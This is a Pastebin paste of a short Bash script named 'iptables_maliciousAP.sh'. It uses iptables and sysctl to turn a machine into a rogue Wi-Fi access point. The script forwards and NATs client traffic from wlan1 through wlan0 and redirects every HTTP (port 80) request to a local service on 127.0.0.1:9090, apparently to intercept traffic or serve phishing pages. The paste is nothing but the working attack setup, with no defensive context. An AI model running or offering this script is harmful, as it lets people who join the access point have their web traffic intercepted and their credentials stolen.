Advertisement
FlyFar

iptables_maliciousAP.sh

Aug 12th, 2023
1,439
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.42 KB | Cybersecurity | 0 0
  1. #!/bin/bash
  2. sudo iptables -A INPUT -i wlan1 -j ACCEPT
  3. sudo iptables -A FORWARD -i wlan1 -o wlan0 -j ACCEPT
  4. sudo iptables -A FORWARD -i wlan0 -o wlan1 -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
  5. sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
  6. sudo sysctl net.ipv4.ip_forward=1
  7.  
  8. sysctl -w net.ipv4.conf.all.route_localnet=1
  9. iptables -t nat -I PREROUTING -p tcp --dport 80 -j DNAT --to 127.0.0.1:9090
  10.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement